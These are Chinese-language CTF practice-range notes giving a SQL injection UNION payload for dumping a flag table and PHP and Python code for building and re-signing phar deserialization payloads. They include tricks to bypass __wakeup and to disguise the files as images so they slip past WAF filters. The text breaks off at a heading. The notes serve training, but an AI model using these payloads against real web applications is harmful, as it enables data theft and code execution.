[靶场笔记]第十七章
mid字符串指针控制 在sql注入时,如果最后dump flag的长度被限制,可以用mid函数控制输出指针,比如下面这句payload -1%27/**/union/**/select/**/1,database(),mid(group_concat(id,flag),1,20)/**/from/**/test_db.flag%23 修改mid的值就行 phar反序化 这里存一段phar反序化的初始化代码(更多内容可以看这里) <?php class example {} $o = new example(); @unlink("example.phar");//这行可有可无 $phar = new Phar("example.phar"); //后缀必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件 $phar->stopBuffering();//签名自动计算 ?> 由于phar在存储时使用的是序列化后的数据,因此在使用phar://伪协议读取phar文件时会自动执行反序化函数,就能达到反序化的目的。并且phar文件是无所谓后缀的,只要数据流本质是压缩文件即可,可以随意更改为png等不易被waf干掉的后缀 补充一点,生成后的phar文件由meta-data、meta-data签名(默认是sha1,20字节)和签名格式(8字节)组成。如果碰到_wakeup魔术方法需要绕过,要改phar内容,就要对修改过的phar文件进行重新签名,否则会无法执行,下面是重新签名的示例 from hashlib import sha1 import gzip file = open('phar.phar', 'rb').read() #data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup data = file[:-28]#要签名的部分是文件头到meta-data的数据。 final = file[-8:]#签名格式 newfile = data+sha1(data).digest()+final open('newpoc.phar', 'wb').write(newfile) #生成新文件后如果还碰到__HALT_COMPILER();过滤,可以用gzip压缩使其消失 newf = gzip.compress(newfile) with open(r'2.jpg', 'wb') as file: #更改文件后缀 file.write(newf) 自增绕过 ...